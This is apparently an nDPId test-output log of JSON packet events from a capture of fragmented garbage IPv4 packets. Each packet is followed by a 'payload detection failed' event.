+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44511,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44540,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44580,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44662,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44685,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44723,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44757,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44819,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":44831,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 